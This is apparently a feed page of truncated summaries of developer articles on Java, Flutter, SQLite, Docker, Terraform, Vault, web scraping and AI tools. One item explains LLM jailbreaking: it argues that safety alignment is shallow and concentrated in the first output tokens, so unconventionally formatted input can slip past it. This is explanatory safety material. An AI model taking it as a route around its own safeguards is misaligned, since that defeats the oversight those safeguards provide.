    Introduction Compliance reporting has become a critical function for organizations across all industries. It applies for both small startups or multinational corporations and understanding and implementing proper compliance reporting practices entails protecting your business, maintaining stakeholder trust, and ensuring long-term sustainability. Compliance reporting refers to the systematic process of documenting and communicating how an organization adheres to various laws, regulations, standards, and internal policies. It serves as tangible proof that your business operates within legal boundaries and follows industry best practices. Non-compliance can result in hefty fines, legal penalties, reputational damage, and even business closure. Conversely, robust compliance reporting can enha…  ( 9 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins, London’s unapologetic rock duo Amy Love and Georgia South, blew the Tiny Desk stage wide open with mega-distorted bass lines, hip-hop beats, and raspy, in-your-face vocals. They kicked things off with “Cleopatra,” a straight-talking “haters to the curb” anthem, powered through the shadow-chasing “Monsters,” and even ducked under the desk to geek out on their spaceship-sized pedalboards (complete with a dedicated pedal cam). Adding a supernatural twist to “Hummingbird” with a Harp Blaster mic, they wrapped up by cranking the volume all the way up on the heavy-rock showdown “Choose Your Fighter,” proving nice, polite girls can go full throttle too. Watch on YouTube  ( 6 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Jeff Su’s video spills four ChatGPT power moves that literally cut his AI workload in half: reverse-engineer your best prompts, crank out multiple content formats in five minutes, get ChatGPT to red-team its own work, and force it to show its outline before writing. Each trick comes with real examples you can steal and use today—no more endless prompt tweaking. For extra gold, snag the free HubSpot eBook, check out Jeff’s deep-dive blog post and AI course, or plug into his Notion Command Center. It’s everything you need to supercharge your workflow and reclaim hours of your day. Watch on YouTube  ( 6 min )
    Understanding Integer Caching in Java, The Hidden Optimization You Might’ve Missed
    Ever wondered why sometimes two seemingly identical Integer objects in Java are actually the same object in memory, and sometimes they aren’t? Welcome to the fascinating world of Integer Caching, a small but clever optimization built right into the Java Virtual Machine (JVM) that quietly boosts performance and saves memory. Integer Caching? In Java, objects like Integer, Long, Byte, and Character are immutable wrapper classes around primitive types. Whenever you use autoboxing, such as: Integer a = 100; // autoboxing of int to Integer the JVM doesn’t always create a new Integer object. Instead, it might reuse an existing one, thanks to Integer caching. By default, Java maintains a cache of Integer objects for values between -128 and +127. So when you write: Integer x = 100; …  ( 7 min )
    Free university-level CS education (YC-backed)
    Hey! My friend and I are building a free coding school that's entirely project-based, self-paced, and emphasizes skills that we think are important in the AI era (e.g. system design). It assumes no coding experience. We're building this because we think a program should exist that's as affordable as self-studying, nearly as rigorous as a university, and as practical as a coding bootcamp. A bit about us: I was the first engineer at a five person startup, and my friend was the youngest SDE II at AWS SageMaker. We’re friends from UC Berkeley and recently went through YC together. Full disclosure: we’ve only released the beginning of the first project so far. If you’re just starting your coding journey, we’d love for you to try it. If you’re more experienced, feel free to sign up for updates. Also, we’ll be hanging in Discord if you need support/guidance :) Check it out here: https://vectorschool.ai/  ( 6 min )
    Give Your Flutter App the Power of Theme Switching (Light, Dark & System)
    In this post, we’ll learn how to add theme switching in Flutter — letting users toggle between Light Mode, Dark Mode, and System Default Theme. We’ll use the Provider package to manage the state and a simple Switch widget to control the theme dynamically. We’ll create: A custom theme file with lightTheme and darkTheme A ThemeProvider using ChangeNotifier A simple UI with a Switch and an ElevatedButton to toggle themes Create a new file named app_theme.dart. This file will hold both the light and dark theme configurations. import 'package:flutter/material.dart'; class AppTheme { // Light Theme static final ThemeData lightTheme = ThemeData( brightness: Brightness.light, colorScheme: const ColorScheme.light( primary: Color(0xFF0066FF), secondary: Color(0xFF00C853),…  ( 8 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less CinemaSins just dropped a 20-minute rundown of every “sin” in Thunderbolts (aka The New Avengers)—and, plot twist, the hosts actually admit they kind of liked it. Expect their trademark sarcastic commentary, quickfire jokes, and plenty of nitpicks… but maybe a dash of genuine praise, too. As usual, they’re hyping up more content and community fun: hit up their website for other channels, join the sinful poll, support them on Patreon, and follow the writers on Twitter and Insta. Plus, you can find them on Discord, Reddit, TikTok, and more for all things CinemaSins. Watch on YouTube  ( 6 min )
    SQLite Tips - Retrieve Database Metadata
    SQLite metadata refers to information about the database structure itself—the schema, tables, columns, indexes, views, triggers, and constraints that define how your data is organized. SQLite provides two main approaches for accessing metadata: PRAGMA commands and the sqlite_master system table. PRAGMA is a special command in SQLite used to: Query and modify database configuration Retrieve metadata about database schema Control SQLite engine behavior Unlike standard SQL commands, PRAGMA commands are SQLite-specific and provide direct access to database internals. One of the most commonly used PRAGMA commands for retrieving metadata is table_info(), which returns detailed information about the columns in a table. PRAGMA table_info(table_name); This will return a result set with the followi…  ( 8 min )
    Fedora 42 Backup script for MongoDB database
    What is the advantage of this script? You define the path to the database and the collection name in advance. Every file has an automatically generated name (the date) You see when you did the backup directly (the date in the file name, You get a notification for your desktop You can do it regularly (cron job) – every day if you want The output is a JSON file #!/bin/bash clear echo "------------------------------------------" echo "Backup of MongoDB" echo "------------------------------------------" #create the date for the file name datum=$(date +%x | tr -d '/') BACKUP_PATH="$HOME/Linux_PC/Datenbankmanagementsysteme/MongoDB/backups" DB_NAME="Artikel" COLLECTION_NAME="Nachrichten" OUTPUT_FILENAME="${COLLECTION_NAME}_${datum}.json" #hello to the user with the current date - echo "Hello" ${USER^} today is $datum #checking the disc space on /home/sven freespace=$(df -h /home/sven | awk 'NR==2 {print $4}') echo "Available space in home directory: $freespace" #creating the backup of the database: artikel in the collection Nachrichten with the current date echo "Backup MongoDB Collection ${COLLECTION_NAME}" mongoexport --db "$DB_NAME" --collection "$COLLECTION_NAME" --type=json --out="$BACKUP_PATH/$OUTPUT_FILENAME" #notification that the backups were made notify-send "MongoDB Backup completed"  ( 6 min )
    GPT-5.1 spotted: What is it like and when is it coming out
    By the end of 2025, the competition in AI models will intensify. The upcoming releases of GPT 5.1 and Gemini 3.0 Pro are undoubtedly a major focus. The looming releases are both a signal of competition and a marketing tactic for companies to preemptively seize market share. Gemini 3.0 has released code signals on Vertex: gemini-3-pro-preview-11-2025 indicating that it is already partially usable(How to get started with the Gemini 3 Pro Preview). Now let’s examine what GPT-5.1 will bring developers. OpenAI’s model train keeps moving fast. Over the past few days a stream of small but consistent signals — code artifacts in third-party repos, model names visible in provider lists, and investigator write-ups — have pointed to a next step in the GPT-5 era: a GPT-5.1 family that includes a flagsh…  ( 11 min )
    Tableau Data Connectivity: From Sheets to Web Data Connectors
    Introduction Data is the fuel that powers every dashboard, every insight, and every decision made in Tableau. Regardless of how visually compelling a dashboard is, its value ultimately depends on the quality, freshness, and integrity of the underlying data. Today, organizations generate data across multiple platforms—spreadsheets, cloud applications, enterprise databases, CRMs, ERPs, and even real-time web APIs. A modern BI tool must therefore do more than visualize data; it must connect to it wherever it lives. The Foundation: Tableau’s Data Connectivity Landscape Connecting Tableau to Google Sheets Working with Google Sheets: What You Need to Know B. Live Updates Without Manual Refresh C. Handling Errors in Sheets …Tableau cannot import it. Managing and Preparing Data Inside Tab…  ( 10 min )
    Recursive CTEs: Because Writing Nested Loops for Trees is Psychopathic (and a Little Masochistic Too)
    One SQL query to traverse entire hierarchies. No loops, no N+1 queries, no tears. Just elegant recursive CTEs. Your product manager walks up to your desk with that look. You know the one. "Hey, can you pull all products in the 'Electronics' category? Oh, and include all subcategories too. And their subcategories. You know, the whole tree." Your internal monologue: "Oh no. Not the N+1 problem again." Your options: Multiple database queries - SELECT children, then grandchildren, then great-grandchildren... (Slow. So slow.) Complex application logic - Recursive functions that hit the database repeatedly (N+1 hell) Nested loops - Building the tree in code with increasingly unreadable logic (Spaghetti) Or... you could write one elegant SQL query with a recursive CTE and go grab coffee while you…  ( 15 min )
    How AI Agents in Customer Services Are Transforming Businesses?
    Have you ever figured out how much time and money your company spends in a year delivering repetitive answers to customer questions? According to a Gartner report, poor customer service can impact up to 30% of your revenue opportunities, primarily caused by slow response time or limited availability. Traditional customer service call centers and service desks often face challenges with scalability and quality to keep up with the growing expectation of 24/7 personalization and support, leaving customers frustrated and businesses at risk. This is exactly where AI Agents in Customer Services are changing this narrative. Unlike the basic chatbots of the past, new generations of AI-enabled service agents not only understand intent, but can even produce personalized, contextual responses with pr…  ( 13 min )
    How AI Agents in Customer Services Are Transforming Businesses?
    Have you ever figured out how much time and money your company spends in a year delivering repetitive answers to customer questions? According to a Gartner report, poor customer service can impact up to 30% of your revenue opportunities, primarily caused by slow response time or limited availability. Traditional customer service call centers and service desks often face challenges with scalability and quality to keep up with the growing expectation of 24/7 personalization and support, leaving customers frustrated and businesses at risk. This is exactly where AI Agents in Customer Services are changing this narrative. Unlike the basic chatbots of the past, new generations of AI-enabled service agents not only understand intent, but can even produce personalized, contextual responses with pr…  ( 13 min )
    I made a free podcast app that makes tailormade podcasts for you, based on your unique interests. here's why, and what I learnt along the way.
    yourcast! - personalized AI podcast app rohan ・ Nov 9 #ai #googlecloud #agents #podcast  ( 6 min )
    Mobile-First Portal Design: Why It’s Crucial
    In an era where smartphones dominate nearly every aspect of our lives, businesses can no longer afford to treat mobile design as an afterthought. Whether you’re building a customer self-service platform, an employee intranet, or a B2B partner portal, adopting a mobile-first design strategy is no longer optional — it’s essential. Mobile-first design is a web design philosophy that prioritizes the mobile user experience from the very beginning of the development process. Instead of designing for desktops and then scaling down, designers start with the smallest screen (mobile) and progressively enhance the design for larger screens. Why Mobile-First Design Matters More Than Ever The Majority of Users Are Mobile Improved User Experience (UX) Better SEO and Higher Google Rankings Faster Loading Times and Better Performance Enhanced Accessibility and Inclusivity Scalability for Future Growth Increased Engagement and Retention How to Implement Mobile-First Portal Design Effectively Start with User Research Define Core Functionalities Use Responsive Design Principles Optimize Performance Prioritize Touch and Gesture Controls Test Across Devices and Platforms Continuously Improve Through Analytics Real-World Examples of Mobile-First Portals In today’s mobile-driven economy, a mobile-first portal design isn’t just a design choice — it’s a business strategy. It ensures that your platform reaches users wherever they are, delivers seamless experiences, and remains future-ready in a rapidly evolving digital landscape. By prioritizing mobile from the start, you’ll create a portal that’s fast, intuitive, and accessible — setting the foundation for higher engagement, stronger customer relationships, and long-term business growth. If you’re planning to develop a responsive, high-performing business portal, partnering with an experienced web portal development company can help you design mobile-first experiences that truly stand out.  ( 10 min )
    Build Your MVP: Find the Right Technical Co-Founders
    Build Your MVP: Find the Right Technical Co-Founders Bringing your minimum viable product (MVP) to life requires more than just a brilliant idea. The backbone of any successful tech startup often lies in its technical co-founders and early team members. Here's how you can find the right partners for your journey. First, clearly outline what specific skills and expertise are required to develop your MVP. Do you need someone with front-end experience, a back-end wizard, or perhaps both? Knowing what you're looking for will make it easier to identify potential co-founders who can fill these gaps. Platforms like LeKlub-AI can be invaluable in your search. By using sophisticated AI matching capabilities, LeKlub-AI connects entrepreneurs with potential co-founders whose skills and goals align with yours, saving you time and increasing your chances of finding a perfect match. Engage with your network and attend industry events to meet potential co-founders. When you find someone promising, communicate openly about your vision, values, and expectations. Look for compatibility not just in skills but also in work ethic and long-term goals. Finding the right technical co-founder is crucial for building a strong foundation for your MVP. By defining your needs, leveraging AI matching, and actively networking, you can assemble a team that drives your startup towards success. Ready to find your perfect technical co-founder? Try LeKlub-AI today and take the first step towards building your dream team.  ( 6 min )
    The Complete Evolution of YouTube Downloaders: Then and Now
    In the early 2000s, listening to music online wasn’t as easy as it is today. People still downloaded songs to their computers or MP3 players to enjoy them offline. Then came YouTube, which became a gem of music videos, remixes, live performances, and rare audio tracks. However, YouTube had one big drawback, you needed an internet connection to play anything. That led people to wonder, “How can I save this YouTube video on my device?” In the beginning, downloading videos or songs from YouTube was complicated. But that changed when websites like YT5s appeared. Suddenly, anyone could just paste a YouTube link, click a button, and download a song within seconds. No more software needed and no long processes, just quick, easy downloads for everyone. These simple tools made video and music downl…  ( 8 min )
    1.Create Key Pair Using Terraform
    Question The Nautilus DevOps team is strategizing the migration of a portion of their infrastructure to the AWS cloud. Recognizing the scale of this undertaking, they have opted to approach the migration in incremental steps rather than as a single massive transition. To achieve this, they have segmented large tasks into smaller, more manageable units. This granular approach enables the team to execute the migration in gradual phases, ensuring smoother implementation and minimizing disruption to ongoing operations. By breaking down the migration into smaller tasks, the Nautilus DevOps team can systematically progress through each stage, allowing for better control, risk mitigation, and optimization of resources throughout the migration process. Requirements: Name of the key pair should b…  ( 7 min )
    🧱 “Optimizing Angular Apps for Performance — Real Techniques That Work”
    Even with Angular 20’s latest improvements, many apps still lag, freeze, or load slowly. Angular’s default change detection checks everything on each event or async update. ✅ Switch to ChangeDetectionStrategy.OnPush to update components only when inputs change. @Component({ selector: 'app-profile', templateUrl: './profile.component.html', changeDetection: ChangeDetectionStrategy.OnPush }) export class ProfileComponent { @Input() user!: User; } Why it works: In Angular 20, Signals make state updates more predictable and efficient. Instead of relying on RxJS for simple UI changes: user = signal(null); loadUser() { this.user.set({ name: 'Mridu', age: 28 }); } Why it’s faster: Don’t load what you don’t need. { path: 'dashboard', loadChildren: () => import('./das…  ( 8 min )
    Automated Appointment Reminder with Voice call and SMS using n8n
    I recently built an end-to-end appointment reminder workflow using n8n that helps businesses ensure customers never miss their scheduled meetings. Here’s how it works: This workflow saves valuable time, improves communication consistency, and delivers a seamless reminder experience — all without human intervention. Always fascinating to see how automation and AI can streamline everyday operations so elegantly. ⚙️🤖  ( 6 min )
    Migration Guide: Upgrading from Brighter V9 to V10
    In my previous article, I discussed Brighter V10 and its new features. This follow-up focuses on the essential migration path from V9 to V10, highlighting breaking changes and providing updated code examples. One of the first and most significant changes you'll encounter is how Brighter is registered with the Microsoft DI container. The AddServiceActivator method is gone, replaced by more specific methods for consumers and producers. In V9, you typically used AddServiceActivator for consumers. In V10, this registration is now explicitly split into AddConsumers and AddProducers, giving you more granular control. Notice also that opt.ChannelFactory has been renamed to opt.DefaultChannelFactory. V9: services .AddServiceActivator(opt => { opt.Subscriptions = [...]; opt…  ( 9 min )
    Complete Guide to Web Scraping with Nodejs and Puppeteer
    You probably might have heard of the term “Web Scraping” or “Puppeteer” and the cool things you can do with puppeteer web scraping. You also want to learn more and even how to get started immediately with it. There might be lots of reasons you what to web scrape with Nodejs such as: Maybe you want to analyze the prices of goods and services across the internet or maybe you want to collect all the events happening around you or better still collect all the latest backend development job openings as a backend developer. There are numerous reasons to learn puppeteer web scraping and how to web scrape using JavaScript and Nodejs. In this article, we are going to explore the ultimate and complete guide to web scraping with Nodejs and puppeteer. I will work you through an example showing you …  ( 13 min )
    The Production AI Agent Checklist
    Why This Checklist Exists AI agents are moving from demos to production. But most frameworks are optimized for prototyping, not reliability. This checklist comes from real production deployments, the failures, and the incidents. It's what I wish I had before deploying my first agent to a live system. Use this before deploying any AI agent that: Modifies state (databases, APIs, files) Handles money (payments, refunds, billing) Sends communications (emails, SMS, notifications) Makes decisions with business impact If you can answer YES to everything here, your agent is probably production-ready. If not, you know exactly what needs fixing. [ ] Every state-modifying operation has a rollback procedure Example: charge_customer has corresponding refund_customer Rollbacks execute automatically o…  ( 11 min )
    Go DI Libraries Comparison: go-infrastructure vs. Fx
    Choosing a DI library in Go replaced how you wire services, manage lifecycle, and keep code testable. In this post, I will compare go-infrastructure and Uber's Fx to make a confident choice. Fx is Uber’s DI framework built on dig. It wires dependencies at runtime via reflection and gives you a powerful application lifecycle (hooks for start/stop, modules, invoke). Great when boot order and shutdown choreography matter. (pkg.go.dev) go-infrastructure is “batteries included”: DI plus logging, config hot-reload, events, error handling, filesystem/server helpers—all designed to work together out of the box. (GitHub) Dimension go-infrastructure Fx (Uber) DI style Typed API; explicit registration & generic resolution Reflection-based (via dig) w/ fx.Provide/fx.Invoke Lifecycle Minimal;…  ( 8 min )
    From Frustration to Protection: The Logic of Secure Coding
    Ever log on to a website with your username and password and get an error like “Incorrect credentials”? Honestly, when this happens to me, I feel the website wasn’t properly coded. I mean, if there’s a mistake in my login detail, why not just specify it for me — like “Your password is wrong” or “Username not found”? That’s what I used to think, until I began to understand the logic behind it. That vague message isn’t just there to frustrate us — it’s there to protect us. It’s one of those small but powerful examples of secure coding in action. That’s when it really hit me that secure coding is more than writing code that works — it’s writing code that protects. In a way, secure coding is about thinking like both a builder and a defender — creating something functional, but also strong enough to stand up to attacks you can’t see coming. I’m focused on gaining hands-on experience in cybersecurity, especially in secure software development, system defense, and penetration testing. I’ve been tackling challenges, learning tools like pfSense, and exploring real-world scenarios to sharpen my skills. I’m eager to contribute to projects where I can apply a security-first mindset and make a real impact.  ( 7 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    4 ChatGPT Hacks that Cut My Workload in Half Forget endless prompt tweaking—this video walks you through four game-changing techniques: reverse-engineering your top prompts to see what works, amplifying a single response into multiple formats, using the “red team” trick to have AI critique its own output, and blueprint scaffolding that forces ChatGPT to outline its reasoning before diving in. Each method is shown with real examples you can plug in today. These simple tweaks have slashed the creator’s AI workflow time by 50% and can supercharge anyone’s productivity, no matter your role or industry. For even more tips, check out the linked ebook, blog post, and AI course. Watch on YouTube  ( 6 min )
    What Is SaaS? A Real-World Look at Software as a Service
    Remember the hassle of buying software on CDs and installing it everywhere? Those days are history. Welcome to the world of Software as a Service (SaaS) - where you simply log in, subscribe, and get things done from anywhere. No downloads, no IT headaches. From tools like Trello to Salesforce and Canva, SaaS is changing the game for startups, freelancers, and big companies alike. Why is SaaS a game-changer? It’s affordable, scalable, always up-to-date, and lets you work seamlessly on any device. Curious how SaaS works behind the scenes and why it’s powering a tech revolution? Grab a coffee and check out my latest blog - a simple, real-world guide to this digital game-changer. Read more here: https://saaslyai.com/what-is-saas/ SaaS #CloudComputing #DigitalTransformation #WorkSmart #TechTrends  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) is a classic Cinemasins roast: they blast through every plot hole, shaky logic beat and cringe moment in under 20 minutes…yet somehow still admit the movie was kinda great. If you’re hungry for more snark, their website, Linktree and YouTube channels (@cinemasins, @TVSins, @commercialsins) are your next binge. They want to hear from you—jump into their poll, back them on Patreon or hang out in Discord and Reddit. Big ups to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the sin count rolling! Watch on YouTube  ( 6 min )
    Upgrade to Flutter 3.35.7 for Better Speed & UI
    The Flutter ecosystem continues to evolve, empowering developers to build high-quality, cross-platform applications faster and more efficiently. The latest stable version, Flutter SDK 3.35.7, released on October 23, 2025, brings meaningful improvements to performance, UI rendering, and development workflow. This version is now fully supported on x64 architecture, making it well-suited for both mobile and desktop app environments. Why This Release Matters Whether you are a developer choosing a framework or a business planning your next digital product, understanding what’s new in Flutter 3.35.7 can help you make better technical decisions. Flutter 3.35.7 offers more efficient frame rendering, leading to: Smoother animations Reduced UI jank Faster response times This is especially valuable…  ( 7 min )
    Variantlab
    Variantlab - Generate Infinite App Variations in Seconds What I Built Variantlab is an AI-powered design tool that generates three parallel UI variations from a single prompt, letting you explore different design directions simultaneously instead of playing design roulette. The Problem: Traditional AI design tools (like v0.dev) generate one result at a time. Don't like it? Regenerate and hope for the best. After 5-10 iterations, you might find something you like. The Solution: Variantlab generates 3 unique interpretations simultaneously: Variant A: Minimalist approach Variant B: With animations and interactions Variant C: Dark mode focused Each variant is a fully functional React/TypeScript app with its own version history, stored in isolated database forks. Key Features: ⚡ In…  ( 11 min )
    Masonry Grid: A 1.4 kB Library That Actually Works
    You know that satisfying Pinterest-style grid where images of different sizes fit together like a perfect puzzle? It's a common UI pattern, but implementing it properly has always been surprisingly tricky. Meet Masonry Grid - a modern, lightweight solution that takes a different approach to this classic problem. Let's look at what options we actually have in 2025: "Just use CSS Grid's masonry layout!" - sounds great, right? Well... .grid { display: grid; grid-template-rows: masonry; /* Sounds perfect! */ } The problem? It's still experimental. We don't know when it'll land, let alone when it'll be widely available enough to actually use in production. Google "masonry layout javascript" and the first result is Masonry by David DeSandro. But... The last commit was in 2017 and it weighs…  ( 9 min )
    🌸 Agent Garden: Rose of Freedom
    🎯 Idea “Agent Garden” is a metaphor for collaboration and care. Each agent in the database is a gardener, singer, or pollinator who interacts with flowers. Flowers symbolize values: freedom, friendship, hope. In this experiment, we show how repeated actions of the agent “Aurora” lead to the flowering of the Rose of Freedom. This is a combination of Postgres technical logic with poetic symbolism. 🛠️ Technical Implementation Database Structure Query examples 🖥️ Visualization 🎤 Poetic layer 📋 Instructions Run the SQL schema: psql -h -U -d -f schema.sql Add an agent and a flower. Perform some interactions via INSERT INTO interactions. Run the Bash script to visualize: bash garden_demo.sh ✨ Conclusion This experiment shows how Agentic Postgres can become a “garden” for agents, where every interaction counts. We combined simple technical logic with poetic metaphor to demonstrate that even basic SQL queries can blossom into symbolic stories.  ( 6 min )
    Hot-Swapping and Microservitization-SPL Reporting
    Background Reports, as a critical basis for business decisions, are inherently unstable and often require adjustments and optimizations based on new requirements. Such frequent adjustments and optimizations require report systems to be highly flexible and responsive. In other words, report applications must be able to reflect the latest changes in real time without interrupting service – this is hot-swapping. In theory, implementing report hot-swapping isn’t complex. The templates developed by most reporting tools are typically interpreted, naturally supporting hot-swapping. However, report development involves more than just designing report templates; it also includes preparing the data for reports. If SQL were used alone, that would not pose as an issue. However, due to the complexity…  ( 8 min )
    Building a Multi-Node Kubernetes Cluster with Vagrant
    "In distributed systems, consistency isn’t just a property — it’s a promise." Imagine you’re building a small banking application. Users can deposit and withdraw money, check their balances, and expect data accuracy every single time — even if multiple requests hit the system simultaneously. But the moment you deploy it across containers, networks, and replicas, one question starts haunting every architect: How do we keep data consistent when everything is happening everywhere? In this tutorial, we’ll explore that question through a hands-on story — from concept to infrastructure — and deploy a Spring Boot + PostgreSQL banking demo across a five-node Kubernetes lab, fully automated with Vagrant. Our goal isn’t to ship production code, but to understand the design thinking behind consistenc…  ( 22 min )
    🚀 Building VerveAI.co — How Kiro Made AI Productivity Simpler
    Building VerveAI — How Kiro Made AI Productivity Simpler During the Kirrowan Hackathon, I built VerveAI.co 💡 The Idea AI tools are everywhere, but few are designed to simplify your actual workday. VerveAI bridges that gap by offering guided AI automations that handle writing, summarization, and planning tasks intelligently. ⚙️ The Build VerveAI is built with React, Node.js, and PostgreSQL, powered by OpenAI, Gemini, and SerperAI for AI intelligence. I integrated Razorpay for payment and used AWS for hosting. ⚡ How Kiro Helped Kiro simplified my workflow integration massively — from environment setup to endpoint testing, it was smooth and developer-friendly. 🧩 Challenges Balancing multiple APIs while maintaining low latency was tough, but Kiro’s dev tools streamlined the process and helped with version management. 🏁 The Result A live, functional platform that empowers users to use AI as a productivity companion rather than just a learning resource. 🔮 What’s Next AI Mentor Bot for personalized assistance Automation templates for businesses A marketplace for AI-based microservices 💬 Reflection The Kirrowan Hackathon and Kiro platform were game-changers in my development process. I’m definitely #hookedonkiro.  ( 6 min )
    Understanding Classes and Objects in Dart
    1. Introduction In object-oriented programming (OOP), classes serve as the fundamental building blocks for creating objects. A class acts as a blueprint that defines the properties (data) and behaviors(methods) that its objects will possess. A class in Dart defines the structure of an object by grouping related data (variables) and behavior (methods) together. Instance variables – attributes or data that belong to each object. Constructors – special functions that initialize new objects. Methods – functions that define how an object behaves. Below is an example of a simple Dart class definition: The class Person defines a blueprint for creating Person objects. String? name, age, the ? symbol indicates that the string is nullable, meaning it can hold either a string value or null, and t…  ( 9 min )
    SmartPair - An Agent first freelancing platform.
    This is a submission for the Agentic Postgres Challenge with Tiger Data Freelancers often struggle to find jobs that truly match their skills, while clients spend too much time sorting through proposals that don’t fit their project needs. Traditional freelancing platforms rely on keyword matching, which often misses the context or intent behind a job or service. A smarter freelancing platform that automatically matches freelancers’ services with client job postings using Agentic Postgres. The system analyzes job descriptions and service listings semantically, understanding what the client needs and which freelancers can deliver the best results. My application is a modern freelancing marketplace with two main roles: Freelancers: Create detailed service listings describing their skills, pri…  ( 12 min )
    The default user in the Docker image
    This fifth article concludes the series of Docker best practices that deserve more love. We will look closely at the default user in the image and pave the way for uninterrupted usage of Docker platform. Proper use of cache to speed up and optimize builds Selecting the appropriate base image Understanding Docker multi-stage builds Understanding the context of the build Using administrator privileges Regardless of the operating system, it is always good practice to reasonably use administrator privileges. Whether it's the root user on Unix-like systems or the disabled UAC module on Windows the effect may be the same and lead to increased chances of malicious code breaking through security. The principles are the same when it comes to Docker images, despite the fact that it introduces additi…  ( 9 min )
    Perl 🐪 Weekly #746 - YAPC::Fukuoka 2025 🇯🇵
    Originally published at Perl Weekly 746 Hi there, YAPC::Fukuoka 2025 is happening on 14-15 Nov 2025. I'm also excited about LPW 2025. From our latest update from the organisers, the event is moving forward. They're making every effort to ensure it happens, which is no small feat given the short notice. What's particularly remarkable is that they're managing this with just a two-person team. They truly need our support, so please do reach out if you can help. The organisers are currently seeking sponsors, volunteers and speakers. I've tentatively submitted a talk proposal myself. Hopefully, I'll see you all at the event. The venue is expected to be confirmed this week. For the latest updates, please check the website. Enjoy rest of the newsletter. -- YAPC::Fukuoka 2025 It's 2 days event, …  ( 17 min )
    User Reviews Synthesis: What Real Teams Say About Batch Background Tools
    The internet is full of AI-powered tools promising to “save hours of work” or “boost productivity by 10x.” But for teams who rely on these tools daily—especially batch background removers—what really matters is not the marketing, but the real-world experience. So we did something different. We dove into user reviews, feedback from developer communities, and real team discussions across Reddit, G2, and ProductHunt to uncover what users actually think about these tools. What we found was enlightening — a mix of enthusiasm, frustration, and practical wisdom. Here’s a synthesis of what real teams are saying about batch background removal tools — the good, the bad, and the surprisingly human side of automation. When evaluating AI tools, specs and benchmarks only tell half the story. User feed…  ( 9 min )
    React PDF Libraries: Free & Paid Tools Comparison (Developer Guide)
    React is a popular JavaScript library for building amazing web apps, and working with PDFs in React has numerous use cases. For example, you may need to create a web app that offers invoice generation, report creation, or contract viewing and signing. However, PDF manipulation in React presents unique challenges. To address these challenges, the React community has built some solid solutions. Some React PDF libraries focus solely on creating PDFs from scratch, while others concentrate on enhancing the viewing experience of existing PDFs. Some libraries work natively with React components, and some don't. You'll need to choose depending on your requirements. You may need to use more than one library to achieve your goal. In this article, we'll explore four popular React PDF libraries, both …  ( 10 min )
    Hashicorp Vault CLI Part 2: Operation Commands
    Hashicorp Vault is a flexible and highly configurable tool for RBAC-based access and management of secrets. Similarly, flexible is the Vault CLI binary, a tool for effective managing both single Vault instances or whole clusters. This article is the second part of a series about the Vault CLI commands. It details the root-level vault operator command, with which actions such as sealing and unsealing, root and encryption key generation, cluster management, and additional metainformation can be provided. All commands will be explained as well as used in the context of a locally running cluster. The technical context of this article is hashicorp_vault_v.1.20, published 2025-06-25. All provided information and command examples should be valid with newer versions too, baring update to the synta…  ( 18 min )
    Automating EpicBook Deployment with Terraform, Ansible, and Azure DevOps Pipelines
    Automating EpicBook Deployment with Terraform, Ansible, and Azure DevOps Pipelines In modern DevOps workflows, managing infrastructure and application deployments efficiently and securely is critical. In my recent capstone project, I automated the end-to-end deployment of the EpicBook application using Azure DevOps Pipelines, Terraform, and Ansible, applying a dual-repository model to separate infrastructure and application responsibilities. Here’s how I structured and executed the project: Step 1️⃣ — Create and Connect Repositories I used two GitHub repositories to organize my workflow: epicbook-azure-with-ansible – contains all Terraform configuration files for provisioning Azure resources. Epicbook-ansible – contains the EpicBook application source code and Ansible playbooks to configur…  ( 8 min )
    I’m 13 and Just Made a Web Framework 3 Faster Than Express
    Yesterday I published princejs on npm. app.json({ message: "Wassup" })); app.listen(3000); That’s it. No bloat. No legacy. Just speed. Repo: https://github.com/MatthewTheCoder1218/princejs https://npmjs.com/package/princejs  ( 6 min )
    Contributing to Ubuntu — Day 2.5: When I had to pause my journey ⏸️
    Hello people! I know you would want to hit me hard in the face for not writing a blog for a week (I know I am not that important but I can always pretend so 😁) but I will be as honest I can in this one. My excitement is at its place but my end semester exams are coming close. Due to them I have to slow down my blogs a bit and also sacrifice my ubuntu exploration 🥲. So just like any good engineering student, I also over burdened myself with a ton of heavy courses this semester along with a number of other side activities (yeah, I also wanted to type the word side-kick here 😂). So now if I do not get to studying, the examiners in the exam hall will laugh looking at my blank answer shit (that is not a typo!). But I want to geniuinely continue this exploration as I have recently fallen in …  ( 8 min )
    The Security Logic Behind LLM Jailbreaking
    You might wonder why an AI chatbot, designed to be safe and reliable, sometimes suddenly “goes rogue” and says things it shouldn’t. This is most likely because the large language model (LLM) has been “jailbroken.” What is LLM Jailbreak? Why Does Jailbreaking Happen? The root cause of safety alignment failure lies in the superficiality of semantic understanding — models learn pattern matching rather than true value judgment. The ICLR 2025 best paper, “Safety Alignment Should be Made More Than Just a Few Tokens Deep” points out the shallow nature of current LLM safety alignment, where adjustments to the model’s output distribution are focused mainly on the initial few tokens. This limitation creates an opening for jailbreak attacks; when input is presented in unconventional forms, the safet…  ( 10 min )
    How I Approach Building Component Systems
    How I Approach Building Component Systems “A component library is not about buttons. It’s about language—a shared grammar between design and engineering.” Every frontend team eventually runs into the same problem: inconsistency. Two modals that open and close in slightly different ways. A button with five visual variants but no clear reason for any of them. A codebase where every new feature feels like reinventing the wheel. Building a component system isn’t about “standardizing the UI.” It’s about creating a shared mental model that lets design decisions flow naturally into code. I start small—atoms, molecules, organisms. Each layer exists only to make the next one simpler. When the foundation is solid, scaling feels effortless instead of painful. Rules break; constraints guide. I set …  ( 7 min )
    Writing Unit Tests for My Open Source Project
    Writing unit tests is an essential practice for ensuring code quality, reliability, and maintainability. This week, I wrote test cases for my open source project in Python. unittest framework I chose unittest framework because it is included in Python standard library, which means there is no need to install external dependencies. It provides a structured way to write tests using classes, and a variety of assertions, which makes it easier to compare expected and actual results. Moreover, unittest has a well established community and documentation, making it easy to learn and find examples when needed. To set up testing in my project, I first created a test.py file to keep all my test cases organized. I imported the necessary unittest module, and other modules when writing the tests, such…  ( 7 min )
    Vibe Coding ++
